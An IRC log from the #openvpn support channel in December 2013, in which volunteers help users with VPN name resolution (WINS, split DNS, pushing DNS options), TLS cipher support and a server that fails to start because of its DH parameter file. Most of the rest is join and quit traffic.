19:11 <+pekster> NBNS is broadcast-based, and WINS is basically an L3 way to relay NBNS. All of it is a hack for people who refuse to run DNS
19:12 <+pekster> Then again, if it works, go for it
19:12 < roothorick> so how does it find other nodes without broadcasting?
19:12 <+pekster> unicasting
19:12 < EugeneKay> Good dns, not shitty dnsmasq hax
19:12 <+pekster> Same way any relay works
19:12 < roothorick> okay, but unicast *where*?
19:12 <+pekster> The WINS server. Surely wikipedia or google can explain the basics. Or that URL
19:12 <+pekster> Or MSDN, or...
19:12 < EugeneKay> !read
19:12 <@vpnHelper> "read" is <krzee> ive been known to overreact when people look for 2 minutes and ask me to explain it to them
19:13 < roothorick> so it normally gets the WINS server location from e.g. DHCP?
19:13 < EugeneKay> Pekster is often too nice
19:13 < debbie10t> smbd will only bind to a broadcastable address
19:13 <+pekster> Right. Well, _normally_ you set up DNS
19:13 <+pekster> ;)
19:13 < roothorick> okay, but I don't want to use VPN for outside DNS names
19:14 < roothorick> the school wifi is slow enough as it is
19:14 <@krzee> dns can work internally as well :D
19:14 < EugeneKay> I think we've come full circle here
19:14 <+pekster> Then play with WINS, or use tap for the sole purpose of NBNS, or use client-side split DNS (as with dnsmasq there)
19:14 <+pekster> Pick the one you think sucks the least
19:15 < roothorick> which one requires the least client-side configuration?
19:15 <+pekster> OR just use IPv6 ;)
19:15 < EugeneKay> Public dns zone.
19:16 < roothorick> EugeneKay: seriously, what do you mean by that? Ditch the NAT?
19:16 < EugeneKay> Enter name, get ip.
19:16 <+pekster> No, put RFC1918 in a subdomain on a public domain
19:16 <+pekster> vpn.example.net
19:16 < roothorick> I don't see how having PUBLIC DNS records helps me find PRIVATE IPs
19:16 < EugeneKay> Yup.
19:16 <+pekster> vpn-client1.vpn.example.net returns 10.8.0.50
19:16 <+pekster> Easy
19:17 < roothorick> and that's a public record then?
19:17 < EugeneKay> Resolvers don't care about the record they're returning
19:17 < roothorick> I... don't really care for that
19:17 < EugeneKay> Unless they're morons, like opendns
19:17 <+pekster> That's by _far_ the cleanest solution
19:17 <+pekster> You keep throwing out the easy ways
19:17 <+pekster> You continue to redefine the problem to not suit every answer you've been given
19:18 <@krzee> either way, its not especially an openvpn problem
19:18 <+pekster> Go use one of the other ones then. This is a stupid game
19:18 <@krzee> these guys are giving you all the ways to do it, if you dont like them then figure out your own way :D
19:19 < roothorick> I'll probably stick with memorizing IPs. Seems like the easiest method in the end after all.
19:19 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Read error: Operation timed out]
19:19 < roothorick> I've put nigh everything on a static internal IP at this point anyway
19:19 <@krzee> it is not, but it likely requires the least learning
19:19 <@krzee> which seems to be the goal :D
19:20 < roothorick> I disagree, but it's not important
19:20 <@krzee> i guess it could be easiest too really? personally i dont use dns for internal stuff
19:21 <@krzee> but i also dont run lans big enough to need it
19:22 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
19:23 < roothorick> I was mostly hoping for something with minimal or no clientside config but that's clearly not going to happen with windows
19:24 < roothorick> well, WINS maybe. I'll have to look into Samba handles it
19:24 <@krzee> !wins
19:24 <@vpnHelper> "wins" is http://oreilly.com/catalog/samba/chapter/book/ch07_03.html is a good link for seeing how to run WINS on samba
19:24 <@krzee> very easily
19:25 < roothorick> can OpenVPN "push" a WINS server to clients or will I have to manually tweak things on each client?
19:25 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 245 seconds]
19:25 <+pekster> Same way you push any dns option: see !pushdns
19:25 <+pekster> Note that non-win clients need special handling to do useful things with such options pushed by openvpn
19:26 <+pekster> Also, depending on the slave propogation you get, I added example-a.vpn.pekster.net, just for you ;)
19:26 < roothorick> I'll deal with that when I have non-Windows clients again ;)
19:26 < roothorick> not likely for a good long while. Once my laptop finally dies, perhaps. Damn WiFi.
19:28 < roothorick> !pushdns
19:28 <@vpnHelper> "pushdns" is (#1) push dhcp-option DNS a.b.c.d to push dns to the client or (#2) For pushing DNS to a Windows client, see: !windns or (#3) Unix-alikes are required to process the env-var in an --up script; read about --dhcp-option in the manpage or (#4) For distros that use resolvconf you can try the update-resolv-conf script under the contrib/ source dir
19:28 < roothorick> !windns
19:28 <@vpnHelper> "windns" is (#1) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#2) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#3) http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
19:34 < debbie10t> so what is the deal with --tls-cipher .. is it hardware based ?
19:34 <+pekster> Nope
19:34 <+pekster> !hardening
19:34 <@vpnHelper> "hardening" is https://community.openvpn.net/openvpn/wiki/Hardening
19:41 < debbie10t> presuming both client/server support the same list of --tls-cipher should i be able to use any of the listed ciphers ?
19:41 < debbie10t> from openvpn --sho-ciphers
19:41 < debbie10t> from openvpn --show-ciphers
19:41 < debbie10t> damm i mean -cipher not tls-cipher
19:45 < debbie10t> so basically openvpn --show-tls lists ciphers not supported by openvpn
19:47 <+pekster> No. --show-tls lists TLS cipher-suites the linked SSL/TLS library supports. Not all of these are usable as defined in the document I linked
19:47 <+pekster> Have you read it?
19:47 < debbie10t> many times
19:47 <+pekster> "As of OpenVPN 2.3.2, only TLSv1.0 RSA ciphers are usable." is pretty self-explanatory
19:48 < debbie10t> let me ask the question more intelligently .. are all of the listed options from openvpn --show-tls supported by openvpn
19:48 <+pekster> Nope, that's why I pasted that quote. And put it in the wiki article
19:48 < debbie10t> ok
19:49 <+pekster> https://www.openssl.org/docs/apps/ciphers.html#TLS_v1_0_cipher_suites_
19:49 <@vpnHelper> Title: OpenSSL: Documents, ciphers(1) (at www.openssl.org)
19:50 < debbie10t> i have been through them all and worked out the ones I can use .. and infact the best was selected by default as the manual suggests ..
19:51 < debbie10t> ok .. this is a whole new "can of worms"
19:51 < debbie10t> thanks pekster .. at least you are never stuck for some reading material
19:52 -!- kiyor [~kiyor@12.13.90.183] has quit [Quit: Linkinus - http://linkinus.com]
19:59 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
20:04 -!- debbie10t [~ma1com10t@host-92-20-13-251.as13285.net] has left #openvpn []
20:04 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 248 seconds]
20:20 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 246 seconds]
20:22 -!- Gruu [~Gruu@91.240.67.141] has joined #openvpn
20:23 -!- Gruu [~Gruu@91.240.67.141] has quit [Remote host closed the connection]
20:25 -!- Devastator_ [~devas@186.214.111.42] has joined #openvpn
20:26 -!- Gruu [~Gruu@91.240.67.141] has joined #openvpn
20:26 -!- Gruu [~Gruu@91.240.67.141] has quit [Remote host closed the connection]
20:27 -!- Devastator_ [~devas@186.214.111.42] has quit [Changing host]
20:27 -!- Devastator_ [~devas@unaffiliated/devastator] has joined #openvpn
20:27 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 260 seconds]
20:29 -!- Devastator_ is now known as Devastator
20:35 -!- MTecknology [~Mike@nginx/adept/mtecknology] has joined #openvpn
20:36 < MTecknology> !pushdns
20:36 <@vpnHelper> "pushdns" is (#1) push dhcp-option DNS a.b.c.d to push dns to the client or (#2) For pushing DNS to a Windows client, see: !windns or (#3) Unix-alikes are required to process the env-var in an --up script; read about --dhcp-option in the manpage or (#4) For distros that use resolvconf you can try the update-resolv-conf script under the contrib/ source dir
20:41 < MTecknology> hrm... that almost makes me want to use resolvconf
20:52 <@ecrist> !irclogs
20:52 <@vpnHelper> "irclogs" is Channel logs are available at http://secure-computing.net/logs/#openvpn.log and http://secure-computing.net/logs/#openvpn-devel.log and are updated every three hours.
20:58 < MTecknology> RTNETLINK answers: File exists    Tue Dec  3 20:58:16 2013 ERROR: Linux route add command failed: external program exited with error status: 2
20:58 < MTecknology> hrm.... :S
20:59 < MTecknology> everything seemed to be fine and I was going to background the process...
21:02 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has left #openvpn []
--- Log closed Tue Dec 03 21:02:18 2013
--- Log opened Tue Dec 03 21:04:03 2013
21:04 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn
21:04 -!- Irssi: #openvpn: Total of 219 nicks [5 ops, 0 halfops, 2 voices, 212 normal]
21:04 !asimov.freenode.net [freenode-info] channel trolls and no channel staff around to help? please check with freenode support: http://freenode.net/faq.shtml#gettinghelp
21:04 -!- Irssi: Join to #openvpn was synced in 0 secs
21:04 -!- mode/#openvpn [+o ecrist] by ChanServ
21:04 -!- MTecknology [~Mike@nginx/adept/mtecknology] has quit [Ping timeout: 240 seconds]
21:09 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has left #openvpn []
--- Log closed Tue Dec 03 21:09:56 2013
--- Log opened Tue Dec 03 21:11:02 2013
21:11 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn
21:11 -!- Irssi: #openvpn: Total of 218 nicks [5 ops, 0 halfops, 2 voices, 211 normal]
21:11 -!- Irssi: Join to #openvpn was synced in 0 secs
21:11 -!- mode/#openvpn [+o ecrist] by ChanServ
21:14 -!- mode/#openvpn [+o pekster] by ChanServ
21:14 <@ecrist> full IRC logs since we started things in 2008 krzee is 96M
21:14 -!- mode/#openvpn [-b *!~akurilin@208.185.21.146$##fix_your_connection] by pekster
21:14 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Read error: Connection reset by peer]
21:15 -!- halcyon__ [~heraclitu@77.74.193.82] has joined #openvpn
21:15 <@pekster> xz can fix that ;0
21:15 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Excess Flood]
21:15 <@ecrist> just interesting
21:15 <@ecrist> I'm setting up mircstats to automatically generate stats info again
21:15 -!- sauce [sauce@unaffiliated/sauce] has quit [Ping timeout: 245 seconds]
21:15 <@ecrist> kind of a convoluted pita, though
21:17 -!- tharkun [~0@unaffiliated/tharkun] has quit [Ping timeout: 245 seconds]
21:17 -!- lbft [~lbft@unaffiliated/lbft] has quit [Ping timeout: 245 seconds]
21:19 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
21:19 -!- tharkun [~0@187.188.94.182] has joined #openvpn
21:19 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has quit [Excess Flood]
21:19 -!- stickpin [~b@173.244.215.195] has quit [Ping timeout: 245 seconds]
21:19 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
21:19 -!- mode/#openvpn [-o pekster] by ChanServ
21:19 -!- akurilin [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
21:19 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
21:19 -!- stickpin_ [~b@173.244.215.195] has joined #openvpn
21:19 -!- simcop2387_ [~simcop238@p3m/member/simcop2387] has joined #openvpn
21:19 -!- simcop2387_ is now known as simcop2387
21:19 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
21:19 -!- aw908fka982z [~idjfiawej@adsl-84-226-104-200.adslplus.ch] has joined #openvpn
21:21 -!- Azrael_- [~idjfiawej@adsl-84-226-104-200.adslplus.ch] has quit [Read error: Connection reset by peer]
21:25 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has joined #openvpn
21:32 <@ecrist> !ircstats
21:32 <@vpnHelper> "ircstats" is (#1) See http://secure-computing.net/logs/openvpn.html for all-time IRC stats. or (#2) See http://secure-computing.net/logs/openvpn-devel.html for all-time dev channel IRC stats.
21:38 <@ecrist> krzee: main channel stats are updated to today
21:41 -!- MTecknology [~Mike@nginx/adept/mtecknology] has joined #openvpn
21:41 < MTecknology> I broke my server... oopsies
21:48 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
21:52 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 245 seconds]
21:57 -!- dimitry7 [~antonello@38.124.174.31] has quit [Quit: Leaving]
22:54 <@krzee> ecrist, no karma anymore?
22:54 <@krzee> !karma
22:54 <@vpnHelper> "karma" is nick++ adds karma nick-- adds bad karma, as seen in !ircstats
22:54 <@krzee> !forget karma
22:54 <@vpnHelper> Joo got it.
--- Log closed Tue Dec 03 23:16:05 2013
--- Log opened Tue Dec 03 23:16:21 2013
23:16 -!- ecrist_ [~ecrist@token-black.secure-computing.net] has joined #openvpn
23:16 -!- Irssi: #openvpn: Total of 222 nicks [6 ops, 0 halfops, 2 voices, 214 normal]
23:16 -!- mode/#openvpn [+o ecrist_] by ChanServ
23:17 -!- Irssi: Join to #openvpn was synced in 50 secs
23:17 -!- caelian2 [~caelian@ovh.caelian.net] has joined #openvpn
23:19 -!- GabrieleV_ [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
23:20 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 245 seconds]
23:21 -!- exoa [~high@unaffiliated/ex0a] has joined #openvpn
23:21 -!- keropok_ [~keropok@9W2JDY.peramah.org.my] has joined #openvpn
23:22 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Ping timeout: 245 seconds]
23:22 -!- caelian1 [~caelian@ovh.caelian.net] has quit [Ping timeout: 245 seconds]
23:22 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has quit [Ping timeout: 245 seconds]
23:22 -!- ex0a [~high@unaffiliated/ex0a] has quit [Ping timeout: 245 seconds]
23:22 -!- raidz_away [~raidz@178.209.51.40] has quit [Ping timeout: 245 seconds]
23:22 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 245 seconds]
23:22 -!- GabrieleV_ is now known as GabrieleV
23:22 -!- xTz [xtz@DeathStar.Techn0.eu] has quit [Ping timeout: 245 seconds]
23:22 -!- tharkun [~0@187.188.94.182] has quit [Ping timeout: 245 seconds]
23:22 -!- keropok [~keropok@9W2JDY.peramah.org.my] has quit [Ping timeout: 245 seconds]
23:22 -!- tharkun [~0@187.188.94.182] has joined #openvpn
23:22 -!- raidzz [~raidz@178.209.51.40] has joined #openvpn
23:25 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
23:25 -!- xTz is now known as Guest67111
23:32 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
23:33 -!- MTecknology [~Mike@nginx/adept/mtecknology] has left #openvpn ["You saw me, but now you don't."]
23:34 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 265 seconds]
23:35 -!- james41382 [~james@unaffiliated/james41382] has quit [Read error: Connection reset by peer]
23:36 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
23:36 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
23:41 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 260 seconds]
23:43 < james41382> I was connected to my home network from school via openvpn. I was connected to the server via ssh and I restarted the openvpn server by: /etc/init.d/openvpn restart. This for some reason crashed the openvpn daemon and now I can't seem to get it to start.
23:44 < james41382> I tried to cp -f all the files from backup to /etc/openvpn, but it still won't start. Any ideas?
23:50 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
23:57 < james41382> In the past this has worked when I got this error trying to start openvpn (openvpn.log from server here -> http://paste.debian.net/69235/). I thought maybe dh1024.pem was being corrupted somehow so replacing it with a backup copy made sense, but this time it is not working.
--- Day changed Wed Dec 04 2013
00:01 < james41382> I could just rebuild all my certs/keys, but I'd rather not if it can be avoided... I'll be quiet now. If any can offer any advice it's appreciated. (Server config: http://paste.debian.net/69236/ Client config: http://paste.debian.net/69237/)
00:02 <+pekster> Just regen your dhparams; they're not related to your keypairs or certs
00:03 <+pekster> Mind the CWD of your program start too since you're using relative file paths without the --cd option
00:06 < james41382> The path has not been a problem before, but if you think using the absolute path would be best I'll change it.
00:09 <+pekster> that's not what the error cites
00:09 <+pekster> Just a friendly reminder
00:09 < james41382> I suppose it's not a bad idea. You never know when something could change.
00:10 < james41382> I'll do it.. thanks again.
00:38 -!- Zarrsh [~Zarrsh@cpe-24-210-20-161.columbus.res.rr.com] has quit [Ping timeout: 260 seconds]
01:03 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
01:24 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
01:26 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has joined #openvpn
01:29 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 246 seconds]
01:32 -!- fred`` [fred@earthli.ng] has quit [Ping timeout: 246 seconds]
01:38 < james41382> Okay I regen the dh.pem and it worked, but as soon as I /etc/init.d/openvpn restart it is doing the same thing again.
01:39 -!- Guest53019 [~jimmyray@unaffiliated/stafford] has joined #openvpn
01:39 -!- Guest53019 [~jimmyray@unaffiliated/stafford] has left #openvpn []
01:39 < james41382> Could there be something wrong with the way the init script is handling the restart process that is corrupting the dh.pem file?
01:48 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has quit [Ping timeout: 246 seconds]
01:48 -!- halcyon__ is now known as heraclitus
01:49 -!- heraclitus [~heraclitu@77.74.193.82] has quit [Changing host]
01:49 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
01:56 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
02:09 -!- toobluesc [~nitro@2001:558:6045:7b:3d70:c3df:18a:884] has quit [Ping timeout: 264 seconds]
02:10 -!- toobluesc [~nitro@2001:558:6045:7b:3d70:c3df:18a:884] has joined #openvpn
02:10 -!- aw908fka982z [~idjfiawej@adsl-84-226-104-200.adslplus.ch] has quit []
02:11 -!- Azrael_- [~idjfiawej@adsl-84-226-104-200.adslplus.ch] has joined #openvpn
02:17 -!- lazzer [~mattias@213.132.98.41] has quit [Ping timeout: 245 seconds]
02:17 -!- lazzer [~mattias@213.132.98.41] has joined #openvpn
02:17 -!- Bretos [~Bretos@vps.tyborek.pl] has quit [Ping timeout: 245 seconds]
02:18 -!- kubbing [~kubbing@ip-94-113-130-229.net.upcbroadband.cz] has joined #openvpn
02:20 -!- Agin [~Agin@shell01.copyleft.no] has quit [Ping timeout: 245 seconds]
02:22 -!- Tera [~tera@unaffiliated/tera] has quit [Ping timeout: 245 seconds]
02:22 -!- Agin [~Agin@shell01.copyleft.no] has joined #openvpn
02:23 -!- Tera [~tera@ip133-114.seclan.com] has joined #openvpn
02:25 -!- Bretos [~Bretos@vps.tyborek.pl] has joined #openvpn
03:05 -!- Cybert1nus [~Cybertinu@2001:828:405:30:83:96:177:42] has joined #openvpn
03:05 -!- XJR-9_ [sid2977@pdpc/supporter/active/xjr-9] has joined #openvpn
03:05 -!- XJR-9 [~XJR-9@pdpc/supporter/active/xjr-9] has quit [Killed (leguin.freenode.net (Nickname regained by services))]
03:05 -!- XJR-9_ is now known as XJR-9
03:05 -!- pnielsen_ [pnielsen@2a01:7e00::f03c:91ff:fedf:3a21] has joined #openvpn
03:05 -!- APTX_ [APTX@unaffiliated/aptx] has joined #openvpn
03:07 -!- js__ [~js@js.madepeople.se] has joined #openvpn
03:07 -!- jefferai [~quassel@kde/mitchell] has joined #openvpn
03:07 -!- dimm0k_ [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
03:07 -!- kenyon_ [kenyon@darwin.kenyonralph.com] has joined #openvpn
03:07 -!- master_o1_master [~master_of@p4FF24FD6.dip0.t-ipconnect.de] has joined #openvpn
03:07 -!- rob0_ [rob0@pdpc/valentine/postfixninja/rob0] has joined #openvpn
03:11 -!- EugeneK [eugene@clockworkmod.org] has joined #openvpn
03:11 -!- mback2k__ [~freenode@2a00:1828:2000:378:1337:0:59ee:5431] has joined #openvpn
03:12 -!- Netsplit *.net <-> *.split quits: EugeneKay, master_of_master, js_, eHAPPY, kenyon, rob0, jefferai_gone, Cybertinus, dimm0k, pnielsen,  (+2 more, use /NETSPLIT to show all of them)
03:12 -!- EugeneK is now known as EugeneKay
03:12 -!- mback2k__ is now known as mback2k_
03:15 -!- klein [~klein@187.85.182.32] has joined #openvpn
03:15 -!- klein [~klein@187.85.182.32] has quit [Changing host]
03:15 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
03:21 -!- iokill [~iokill@91.114.127.102] has joined #openvpn
03:30 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 260 seconds]
03:40 -!- Denial [Denial@2.223.161.125] has joined #openvpn
03:46 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Remote host closed the connection]
03:52 -!- ben1 is now known as bentgf
04:04 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Ping timeout: 246 seconds]
04:05 -!- stephan48 [stephan@opennic/stephan] has joined #openvpn
04:31 -!- FrankMartin [~lx@93.115.84.195] has joined #openvpn
04:31 < FrankMartin> http://img36.imageshack.us/img36/3221/mp66.png
04:31 < FrankMartin> How can it be configured ?
04:39 -!- Cybert1nus is now known as Cybertinus
04:40 < stephan48> is there a way via mangement to disconnect/restart a connection?
04:52 < FrankMartin> connection restart
04:52 < stephan48> mh?
04:53 < stephan48> FrankMartin: your setup seems like it is ipsec based, i am afraid that you are on the openvpn channel :)
04:54 < FrankMartin> yea but as VPN masters cant help
04:54 < FrankMartin> who can
04:56 < stephan48> sorry no clue, i worked a bit with ipsec but far from being an expert
04:59 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Remote host closed the connection]
05:01 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
05:05 < FrankMartin> can you jst
05:05 < FrankMartin> help me connect my PC to it ?
05:08 -!- szr- [~s_r@unaffiliated/szr] has joined #openvpn
05:08 -!- szr [~s_r@unaffiliated/szr] has quit [Ping timeout: 252 seconds]
05:08 -!- szr- is now known as szr
05:16 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
05:17 -!- szr [~s_r@unaffiliated/szr] has quit [Ping timeout: 248 seconds]
05:18 -!- szr [~s_r@unaffiliated/szr] has joined #openvpn
05:25 -!- szr [~s_r@unaffiliated/szr] has quit [Read error: Connection reset by peer]
05:25 -!- szr [~s_r@unaffiliated/szr] has joined #openvpn
05:37 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
05:37 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Client Quit]
05:37 -!- szr- [~s_r@unaffiliated/szr] has joined #openvpn
05:37 -!- szr [~s_r@unaffiliated/szr] has quit [Read error: Connection reset by peer]
05:37 -!- szr- is now known as szr
05:38 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
05:48 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection]
05:50 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
05:50 -!- mode/#openvpn [+o plaisthos] by ChanServ
05:53 -!- js__ is now known as js_
06:01 -!- Mike3 is now known as Mike--
06:34 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Quit: ZNC - http://znc.in]
06:36 -!- hazardous [~hz@openvpn/user/hazardous] has quit [Ping timeout: 248 seconds]
06:37 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
06:37 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Excess Flood]
06:39 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
06:40 -!- hazardous [~hz@openvpn/user/hazardous] has joined #openvpn
06:40 -!- mode/#openvpn [+v hazardous] by ChanServ
06:49 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
06:53 -!- hazardous [~hz@openvpn/user/hazardous] has quit [Ping timeout: 246 seconds]
06:54 -!- hazardous [~hz@openvpn/user/hazardous] has joined #openvpn
06:54 -!- mode/#openvpn [+v hazardous] by ChanServ
07:05 -!- totaltec [totaltec@2.138.247.145] has quit [Read error: Connection reset by peer]
07:08 -!- szr [~s_r@unaffiliated/szr] has quit [Read error: Connection reset by peer]
07:08 -!- szr [~s_r@unaffiliated/szr] has joined #openvpn
07:08 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Quit: Konversation terminated!]
07:08 -!- xrosnight [~quassel@121.11.240.119] has joined #openvpn
07:10 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
07:11 -!- rob0_ is now known as rob0
07:21 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has joined #openvpn
07:21 -!- hazardous [~hz@openvpn/user/hazardous] has quit [Ping timeout: 264 seconds]
07:22 -!- hazardous [~hz@openvpn/user/hazardous] has joined #openvpn
07:22 -!- mode/#openvpn [+v hazardous] by ChanServ
07:23 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
07:25 -!- abradley [~adam@64-132-116-2.static.twtelecom.net] has joined #openvpn
07:26 -!- szr- [~s_r@unaffiliated/szr] has joined #openvpn
07:26 -!- szr [~s_r@unaffiliated/szr] has quit [Read error: Connection reset by peer]
07:26 -!- szr- is now known as szr
07:31 -!- szr [~s_r@unaffiliated/szr] has quit [Read error: Connection reset by peer]
07:31 -!- szr [~s_r@unaffiliated/szr] has joined #openvpn
07:32 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 246 seconds]
07:33 -!- xrosnight [~quassel@121.11.240.119] has quit [Changing host]
07:33 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
07:34 -!- takamichi [~takamichi@85.12.8.105] has joined #openvpn
07:41 -!- FrankMartin [~lx@93.115.84.195] has quit [Remote host closed the connection]
07:43 -!- hazardous [~hz@openvpn/user/hazardous] has quit [Ping timeout: 240 seconds]
07:47 -!- hazardous [~hz@openvpn/user/hazardous] has joined #openvpn
07:47 -!- mode/#openvpn [+v hazardous] by ChanServ
07:57 -!- szr [~s_r@unaffiliated/szr] has quit [Read error: Connection reset by peer]
07:57 -!- szr- [~s_r@unaffiliated/szr] has joined #openvpn
07:58 -!- szr- [~s_r@unaffiliated/szr] has quit [Read error: Connection reset by peer]
07:59 -!- szr- [~s_r@unaffiliated/szr] has joined #openvpn
08:05 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Remote host closed the connection]
08:06 -!- hazardous [~hz@openvpn/user/hazardous] has quit [Ping timeout: 272 seconds]
08:07 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
08:11 -!- hazardous [~hz@openvpn/user/hazardous] has joined #openvpn
08:11 -!- mode/#openvpn [+v hazardous] by ChanServ
08:17 -!- ade_b [~Ade@193.202.255.218] has joined #openvpn
08:17 -!- ade_b [~Ade@193.202.255.218] has quit [Changing host]
08:17 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
08:19 -!- hazardous [~hz@openvpn/user/hazardous] has quit [Ping timeout: 265 seconds]
08:26 -!- hazardous [~hz@openvpn/user/hazardous] has joined #openvpn
08:26 -!- mode/#openvpn [+v hazardous] by ChanServ
08:31 -!- szr- is now known as szr
08:31 -!- hazardous [~hz@openvpn/user/hazardous] has quit [Ping timeout: 272 seconds]
08:31 -!- iokill [~iokill@91.114.127.102] has quit [Ping timeout: 265 seconds]
08:32 -!- hazardous [~hz@openvpn/user/hazardous] has joined #openvpn
08:32 -!- mode/#openvpn [+v hazardous] by ChanServ
08:35 -!- takamichi [~takamichi@85.12.8.105] has quit [Ping timeout: 272 seconds]
08:36 -!- iokill [~iokill@83.175.75.133] has joined #openvpn
08:36 -!- iokill [~iokill@83.175.75.133] has quit [Client Quit]
08:37 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
08:38 -!- tharkun [~0@187.188.94.182] has quit [Changing host]
08:38 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
08:39 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
08:41 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
08:49 -!- niggardly [~andromeda@gateway/tor-sasl/martinphone] has joined #openvpn
08:54 -!- pnielsen_ is now known as pnielsen
09:06 -!- kenyon_ is now known as kenyon
09:19 -!- Cultist [~CultOfThe@c-24-12-53-28.hsd1.il.comcast.net] has quit [Ping timeout: 240 seconds]
09:20 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Remote host closed the connection]
09:21 -!- Cultist [~CultOfThe@c-24-12-53-28.hsd1.il.comcast.net] has joined #openvpn
09:22 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
09:23 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has left #openvpn []
09:35 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
09:39 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 264 seconds]
09:40 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
09:40 -!- master_of_master [~master_of@p4FF2446F.dip0.t-ipconnect.de] has joined #openvpn
09:43 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Quit: ZNC - http://znc.in]
09:44 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
